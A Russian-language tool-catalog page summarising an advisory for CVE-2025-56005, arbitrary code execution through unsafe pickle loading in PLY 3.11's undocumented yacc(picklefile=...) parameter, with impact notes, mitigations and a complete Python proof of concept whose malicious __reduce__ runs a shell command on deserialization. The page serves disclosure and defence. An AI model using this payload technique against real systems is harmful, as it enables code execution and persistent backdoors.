Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Undocumented-RCE-in-PLY — Незадокументированный RCE в PLY через параметр `picklefile` | Kitploit
Инструменты/GitHubGitHub/bohmiiidd/undocumented-rce-in-ply
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияСтатьи и ИсследованияОбучение и Образование
GitHubbohmiiidd/undocumented-rce-in-ply

Undocumented-RCE-in-PLY

Незадокументированный RCE в PLY через параметр `picklefile`

Репозиторий
161 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Незадокументированное удалённое выполнение кода в PLY CVE‑2025‑56005

root@kitploit:~
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

Краткое описание

Незадокументированная и небезопасная функция в распространяемой через PyPI версии PLY 3.11 позволяет выполнять произвольный код при вызове функции yacc() с параметром picklefile.

Параметр picklefile заставляет PLY десериализовать файл .pkl с помощью Python‑функции pickle.load() без проверки. Поскольку модуль в Python поддерживает выполнение произвольного кода во время десериализации (например, через ), злоумышленник, контролирующий переданный pickle‑файл, может выполнить произвольный код во время инициализации парсера.

pickle
__reduce__()

Этот параметр не задокументирован в официальной документации PLY или репозитории GitHub, однако он активен в релизе на PyPI.


Влияние

Если злоумышленник может контролировать, заменить или повлиять на .pkl‑файл, передаваемый в yacc(picklefile=...), он может добиться:

  • Выполнения произвольного кода
  • Выполнения во время запуска приложения
  • Выполнения кода до достижения любой логики парсинга

Это может затронуть приложения, которые загружают таблицы парсера из:

  • Кэшированных мест
  • Общих каталогов
  • CI/CD‑конвейеров
  • Настраиваемых или доступных для записи путей

🔍 Детали уязвимости

  • Тип уязвимости: Выполнение произвольного кода
  • Тип атаки: Зависит от контекста
  • Вектор атаки: Небезопасная десериализация контролируемого злоумышленником pickle‑файла
  • Влияние: Выполнение кода
  • CWE: CWE‑502 (Десериализация недоверенных данных)

Затронутая функциональность

  • ply.yacc.yacc(picklefile=...)
  • LRTable.read_pickle() в ply/yacc.py

Дополнительная информация (контекст и риск)

Эта уязвимость представляет повышенный риск из‑за её скрытного характера и потенциала для закрепления.

Параметр picklefile не задокументирован в официальной документации PLY и репозитории GitHub. Однако распространяемая через PyPI версия PLY 3.11 включает эту функциональность и обрабатывает переданный файл с помощью pickle.load() без проверки.

Поскольку модуль pickle в Python допускает выполнение встроенного кода во время десериализации, вредоносный pickle‑файл может выполнить произвольный код во время настройки парсера, до вызова любой логики парсинга.

На момент написания сопровождающий публично не подтвердил такое поведение.

Эта функциональность может быть использована для внедрения постоянных бэкдоров, особенно в средах, где файлы таблиц парсера:

  • Кэшируются на диске
  • Совместно используются пользователями или сервисами
  • Генерируются или переиспользуются в CI/CD‑конвейерах
  • Загружаются из настраиваемых или доступных для записи путей

Учитывая отсутствие документации, скрытый путь выполнения и высокое влияние небезопасной десериализации, присвоение CVE оправдано для повышения осведомлённости и защиты нижестоящих пользователей.


Доказательство концепции (PoC)

Это доказательство концепции демонстрирует выполнение произвольного кода при передаче вредоносного pickle‑файла через незадокументированный параметр picklefile.

Обзор PoC

PoC:

  • Определяет минимальный лексер и парсер
  • Создаёт вредоносную полезную нагрузку pickle
  • Выполняет системную команду во время десериализации

Ожидаемый результат

При вызове yacc(picklefile='exploit.pkl') произвольный код выполняется во время инициализации парсера.

root@kitploit:~
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

Меры защиты

  • Не используйте параметр picklefile с недоверенными или доступными для внешней записи файлами
  • Избегайте загрузки таблиц парсера из контролируемых пользователем мест
  • Рассматривайте все pickle‑файлы как небезопасный ввод
  • Предпочитайте повторную генерацию таблиц парсера вместо их загрузки с диска

Ссылки

  • Репозиторий PLY на GitHub: https://github.com/dabeaz/ply
  • Пакет PyPI: https://pypi.org/project/ply/
  • Документация Python Pickle: https://docs.python.org/3/library/pickle.html
  • Репозиторий с доказательством концепции: https://github.com/bohmiiidd/Undocumented-RCE-in-PLY
Скачать инструмент